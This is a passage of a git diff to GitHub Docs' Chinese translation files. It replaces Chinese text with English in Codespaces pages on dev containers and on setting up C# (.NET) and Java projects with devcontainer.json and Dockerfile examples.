tools, editor settings, and VS Code extensions. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)". -## 关于 {% data variables.product.prodname_codespaces %} 的计费 +## About billing for {% data variables.product.prodname_codespaces %} For information on pricing, storage, and usage for {% data variables.product.prodname_codespaces %}, see "[Managing billing for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)." diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md new file mode 100644 index 0000000000..1b2d962e19 --- /dev/null +++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md @@ -0,0 +1,173 @@ +--- +title: Introduction to dev containers +intro: 'You can use a `devcontainer.json` file to define a {% data variables.product.prodname_codespaces %} environment for your repository.' +allowTitleToDifferFromFilename: true +permissions: People with write permissions to a repository can create or edit the codespace configuration. +redirect_from: + - /github/developing-online-with-github-codespaces/configuring-github-codespaces-for-your-project + - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project + - /github/developing-online-with-codespaces/configuring-codespaces-for-your-project + - /codespaces/customizing-your-codespace/configuring-codespaces-for-your-project +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up + - Fundamentals +product: '{% data reusables.gated-features.codespaces %}' +--- + + + +## About dev containers + +A development container, or dev container, is the environment that {% data variables.product.prodname_codespaces %} uses to provide the tools and runtimes that your project needs for development. If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)." + +If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." The option you choose is dependent on the tools, runtimes, dependencies, and workflows that a user might need to be successful with your project. + +{% data variables.product.prodname_codespaces %} allows for customization on a per-project and per-branch basis with a `devcontainer.json` file. This configuration file determines the environment of every new codespace anyone creates for your repository by defining a development container that can include frameworks, tools, extensions, and port forwarding. A Dockerfile can also be used alongside the `devcontainer.json` file in the `.devcontainer` folder to define everything required to create a container image. + +### devcontainer.json + +{% data reusables.codespaces.devcontainer-location %} + +You can use your `devcontainer.json` to set default settings for the entire codespace environment, including the editor, but you can also set editor-specific settings for individual [workspaces](https://code.visualstudio.com/docs/editor/workspaces) in a codespace in a file named `.vscode/settings.json`. + +For information about the settings and properties that you can set in a `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation. + +### Dockerfile + +A Dockerfile also lives in the `.devcontainer` folder. + +You can add a Dockerfile to your project to define a container image and install software. In the Dockerfile, you can use `FROM` to specify the container image. + +```Dockerfile +FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14 + +# ** [Optional] Uncomment this section to install additional packages. ** +# USER root +# +# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ +# && apt-get -y install --no-install-recommends +# +# USER codespace +``` + +You can use the `RUN` instruction to install any software and `&&` to join commands. + +Reference your Dockerfile in your `devcontainer.json` file by using the `dockerfile` property. + +```json +{ + ... + "build": { "dockerfile": "Dockerfile" }, + ... +} +``` + +For more information on using a Dockerfile in a dev container, see [Create a development container](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) in the {% data variables.product.prodname_vscode %} documentation. + +## Using the default configuration + +If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace with a base Linux image. The base Linux image includes languages and runtimes like Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, and Rust. It also includes other developer tools and utilities like git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the url that the command outputs. + +Alternatively, for more information about everything that is included in the base Linux image, see the latest file in the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. + +The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_codespaces %} provides. + + +## Using a predefined container configuration + +Predefined container definitions include a common configuration for a particular project type, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed. + +Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project's setup. + +{% data reusables.codespaces.command-palette-container %} +1. Click the definition you want to use. + ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png) +1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)." +1. Click **OK**. + ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png) +1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png) + +### Adding additional features to your `devcontainer.json` file + +{% note %} + +**Note:** This feature is in beta and subject to change. + +{% endnote %} + +You can add features to your predefined container configuration to customize which tools are available and extend the functionality of your workspace without creating a custom codespace configuration. For example, you could use a predefined container configuration and add the {% data variables.product.prodname_cli %} as well. You can make these additional features available for your project by adding the features to your `devcontainer.json` file when you set up your container configuration. + +You can add some of the most common features by selecting them when configuring your predefined container. For more information on the available features, see the [script library](https://github.com/microsoft/vscode-dev-containers/tree/main/script-library#scripts) in the `vscode-dev-containers` repository. + +![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png) + +You can also add or remove features outside of the **Add Development Container Configuration Files** workflow. +1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**. + ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png) +2. Update your feature selections, then click **OK**. + ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png) +1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png) + + +## Creating a custom codespace configuration + +If none of the predefined configurations meet your needs, you can create a custom configuration by adding a `devcontainer.json` file. {% data reusables.codespaces.devcontainer-location %} + +In the file, you can use [supported configuration keys](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode %} extensions will be installed. + +{% data reusables.codespaces.vscode-settings-order %} + +You can define default editor settings for {% data variables.product.prodname_vscode %} in two places. + +* Editor settings defined in `.vscode/settings.json` are applied as _Workspace_-scoped settings in the codespace. +* Editor settings defined in the `settings` key in `devcontainer.json` are applied as _Remote [Codespaces]_-scoped settings in the codespace. + +After updating the `devcontainer.json` file, you can rebuild the container for your codespace to apply the changes. For more information, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + + + +## Applying changes to your configuration + +{% data reusables.codespaces.apply-devcontainer-changes %} + +{% data reusables.codespaces.rebuild-command %} +1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration. + ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png) + - To diagnose the error by reviewing the creation logs, click **View creation log**. + - To fix the errors identified in the logs, update your `devcontainer.json` file. + - To apply the changes, rebuild your container. diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md index f623b45fee..2109d9c551 100644 --- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md +++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md @@ -3,7 +3,7 @@ title: Setting up your C# (.NET) project for Codespaces shortTitle: Setting up your C# (.NET) project allowTitleToDifferFromFilename: true product: '{% data reusables.gated-features.codespaces %}' -intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 C# (.NET) 项目。' +intro: 'Get started with your C# (.NET) project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' redirect_from: - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project versions: @@ -11,129 +11,135 @@ versions: ghec: '*' topics: - Codespaces +hasExperimentalAlternative: true +hidden: true --- -## 简介 +## Introduction -本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 C# (.NET) 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。 +This guide shows you how to set up your C# (.NET) project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 基本要求 +### Prerequisites -- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 C# (.NET) 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/2percentsilk/dotnet-quickstart。 -- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。 +- You should have an existing C# (.NET) project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/dotnet-quickstart. +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## 步骤 1：在代码空间中打开项目 +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器具有多种语言和运行时，包括 .NET。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 更多信息请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## 步骤 2：从模板将开发容器添加到您的代码空间 +## Step 2: Add a dev container to your codespace from a template -默认代码空间容器附带最新的 .NET 版本和预安装的常用工具。 但是，我们鼓励您设置自定义容器，以便根据项目的需求定制在代码空间创建过程中运行的工具和脚本，并确保为仓库中的所有 {% data variables.product.prodname_codespaces %} 用户提供完全可复制的环境。 +The default codespaces container comes with the latest .NET version and common tools preinstalled. However, we encourage you to set up a custom container so you can tailor the tools and scripts that run as part of codespace creation to your project's needs and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 有关开发容器的更多信息，请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers +](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." {% data reusables.codespaces.command-palette-container %} -2. 对于此示例，单击 **C# (.NET)**。 如果需要其他功能，您可以选择任何特定于 C# (.NET) 或工具（如 C# (.NET) 和 MS SQL）组合的容器。 ![从列表中选择 C# (.NET) 选项](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png) -3. 单击推荐的 .NET 版本。 ![.NET 版本选择](/assets/images/help/codespaces/add-dotnet-version.png) -4. 接受默认选项，将 Node.js 添加到您的自定义中。 ![添加 Node.js 选择](/assets/images/help/codespaces/dotnet-options.png) +2. For this example, click **C# (.NET)**. If you need additional features you can select any container that’s specific to C# (.NET) or a combination of tools such as C# (.NET) and MS SQL. + ![Select C# (.NET) option from the list](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png) +3. Click the recommended version of .NET. + ![.NET version selection](/assets/images/help/codespaces/add-dotnet-version.png) +4. Accept the default option to add Node.js to your customization. + ![Add Node.js selection](/assets/images/help/codespaces/dotnet-options.png) {% data reusables.codespaces.rebuild-command %} -### 开发容器的剖析 +### Anatomy of your dev container -添加 C# (.NET) 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件： +Adding the C# (.NET) dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files: - `devcontainer.json` - Dockerfile -新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。 +The newly added `devcontainer.json` file defines a few properties that are described after the sample. #### devcontainer.json ```json { - "name": "C# (.NET)", - "build": { - "dockerfile": "Dockerfile", - "args": { - // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0 - "VARIANT": "5.0", - // Options - "INSTALL_NODE": "true", - "NODE_VERSION": "lts/*", - "INSTALL_AZURE_CLI": "false" - } - }, + "name": "C# (.NET)", + "build": { + "dockerfile": "Dockerfile", + "args": { + // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0 + "VARIANT": "5.0", + // Options + "INSTALL_NODE": "true", + "NODE_VERSION": "lts/*", + "INSTALL_AZURE_CLI": "false" + } + }, - // Set *default* container specific settings.json values on container create. - "settings": { - "terminal.integrated.shell.linux": "/bin/bash" - }, + // Set *default* container specific settings.json values on container create. + "settings": { + "terminal.integrated.shell.linux": "/bin/bash" + }, - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "ms-dotnettools.csharp" - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "ms-dotnettools.csharp" + ], - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [5000, 5001], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [5000, 5001], - // [Optional] To reuse of your local HTTPS dev cert: - // - // 1. Export it locally using this command: - // * Windows PowerShell: - // dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" - // * macOS/Linux terminal: - // dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" - // - // 2. Uncomment these 'remoteEnv' lines: - // "remoteEnv": { - // "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere", - // "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx", - // }, - // - // 3. Do one of the following depending on your scenario: - // * When using GitHub Codespaces and/or Remote - Containers: - // 1. Start the container - // 2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer - // 3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https" - // - // * If only using Remote - Containers with a local container, uncomment this line instead: - // "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ], + // [Optional] To reuse of your local HTTPS dev cert: + // + // 1. Export it locally using this command: + // * Windows PowerShell: + // dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" + // * macOS/Linux terminal: + // dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere" + // + // 2. Uncomment these 'remoteEnv' lines: + // "remoteEnv": { + // "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere", + // "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx", + // }, + // + // 3. Do one of the following depending on your scenario: + // * When using GitHub Codespaces and/or Remote - Containers: + // 1. Start the container + // 2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer + // 3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https" + // + // * If only using Remote - Containers with a local container, uncomment this line instead: + // "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ], - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "dotnet restore", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "dotnet restore", - // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. - "remoteUser": "vscode" + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" } ``` -- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。 -- **Build** - 构建属性。 - - **Dockerfile** - 在构建对象中，`dockerfile` 是对 Dockerfile 的引用，该文件也是从模板中添加的。 +- **Name** - You can name our dev container anything, this is just the default. +- **Build** - The build properties. + - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template. - **Args** - - **Variant**：此文件仅包含一个构建参数，即我们要使用的 .NET Core 版本。 -- **Settings** - 它们是 {% data variables.product.prodname_vscode %} 设置。 - - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。 -- **Extensions** - 它们是默认包含的扩展名。 - - **ms-dotnettools.csharp** - Microsoft C# 扩展为使用 C# 的开发提供丰富的支持，包括 IntelliSense、linting、调试、代码导航、代码格式化、重构、变量资源管理器、测试资源管理器等功能。 -- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间（例如 `dotnet restore`）后执行任何操作，您可以在此处执行。 -- **remoteUser** - 默认情况下，您以 vscode 用户身份运行，但您可以选择将其设置为 root。 + - **Variant**: This file only contains one build argument, which is the .NET Core version that we want to use. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **ms-dotnettools.csharp** - The Microsoft C# extension provides rich support for developing in C#, including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `dotnet restore`, you can do that here. +- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root. #### Dockerfile @@ -161,26 +167,26 @@ RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-d # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ``` -您可以使用 Dockerfile 添加其他容器层，以指定要包含在容器中的操作系统包、节点版本或全局包。 +You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container. -## 步骤 3：修改 devcontainer.json 文件 +## Step 3: Modify your devcontainer.json file -添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将在代码空间启动时添加属性以安装扩展和恢复项目依赖项。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and restore your project dependencies when your codespace launches. -1. 在 Explorer 中，展开 `.devcontainer` 文件夹，从树中选择 `devcontainer.json` 文件并打开它。 +1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. 更新 `devcontainer.json` 文件中的 `extensions` 列表，以添加一些在处理项目时有用的扩展。 +2. Update your the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project. ```json{:copy} "extensions": [ - "ms-dotnettools.csharp", - "streetsidesoftware.code-spell-checker", - ], + "ms-dotnettools.csharp", + "streetsidesoftware.code-spell-checker", + ], ``` -3. 取消注释 `postCreateCommand` 以便在代码空间设置过程中恢复依赖项。 +3. Uncomment the `postCreateCommand` to restore dependencies as part of the codespace setup process. ```json{:copy} // Use 'postCreateCommand' to run commands after the container is created. @@ -189,30 +195,30 @@ RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-d {% data reusables.codespaces.rebuild-command %} - 在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -5. 通过验证是否安装了 "Code Spell Checker" 扩展，检查更改是否成功应用。 +5. Check your changes were successfully applied by verifying the "Code Spell Checker" extension was installed. - ![扩展列表](/assets/images/help/codespaces/dotnet-extensions.png) + ![Extensions list](/assets/images/help/codespaces/dotnet-extensions.png) -## 步骤 4：运行应用程序 +## Step 4: Run your application -在上一节中，您使用 `postCreateCommand` 通过 `dotnet restore` 命令安装了一组包。 现在安装了依赖项，我们可以运行应用程序。 +In the previous section, you used the `postCreateCommand` to install a set of packages via the `dotnet restore` command. With our dependencies now installed, we can run our application. -1. 通过按 `F5` 或在终端中输入 `dotnet watch run` 来运行您的应用程序。 +1. Run your application by pressing `F5` or entering `dotnet watch run` in your terminal. -2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![端口转发信息框](/assets/images/help/codespaces/python-port-forwarding.png) + ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png) -## 步骤 5：提交更改 +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 后续步骤 +## Next steps -现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 C# (.NET) 项目。 以下是用于更高级场景的一些额外资源。 +You should now be ready start developing your C# (.NET) project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [管理 {% data variables.product.prodname_codespaces %} 的加密密码](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) -- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) -- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) +- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md index 3b7ead681b..22140d67f0 100644 --- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md +++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md @@ -1,7 +1,7 @@ --- title: Setting up your Java project for Codespaces shortTitle: Setting up with your Java project -intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 Java 项目。' +intro: 'Get started with your Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces @@ -10,54 +10,58 @@ versions: ghec: '*' topics: - Codespaces +hasExperimentalAlternative: true +hidden: true --- -## 简介 +## Introduction -本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 Java 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。 +This guide shows you how to set up your Java project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. -### 基本要求 +### Prerequisites -- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 Java 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/microsoft/vscode-remote-try-java -- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。 +- You should have an existing Java project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-java +- You must have {% data variables.product.prodname_codespaces %} enabled for your organization. -## 步骤 1：在代码空间中打开项目 +## Step 1: Open your project in a codespace 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information. -创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器有许多语言和运行时，包括 Java、nvm、npm 和 yarn。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。 +When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Java, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. -您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。 +You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed. -{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 更多信息请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## 步骤 2：从模板将开发容器添加到您的代码空间 +## Step 2: Add a dev container to your codespace from a template -默认代码空间容器附带最新的 Java 版本、包管理器（Maven、Gradle）和其他预装的常用工具。 但是，我们建议您设置一个自定义容器来定义项目所需的工具和脚本。 这将确保仓库中的所有 {% data variables.product.prodname_codespaces %} 用户都拥有完全可复制的环境。 +The default codespaces container comes with the latest Java version, package managers (Maven, Gradle), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository. -要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 有关开发容器的更多信息，请参阅“[为项目配置代码空间](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 +To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." {% data reusables.codespaces.command-palette-container %} -3. 对于此示例，单击 **Java**。 实际上，您可以选择任何特定于 Java 的容器或 Java 和 Azure 函数等工具的组合。 ![从列表中选择 Java 选项](/assets/images/help/codespaces/add-java-prebuilt-container.png) -4. 单击推荐的 Java 版本。 ![Java 版本选择](/assets/images/help/codespaces/add-java-version.png) +3. For this example, click **Java**. In practice, you could select any container that’s specific to Java or a combination of tools such as Java and Azure Functions. + ![Select Java option from the list](/assets/images/help/codespaces/add-java-prebuilt-container.png) +4. Click the recommended 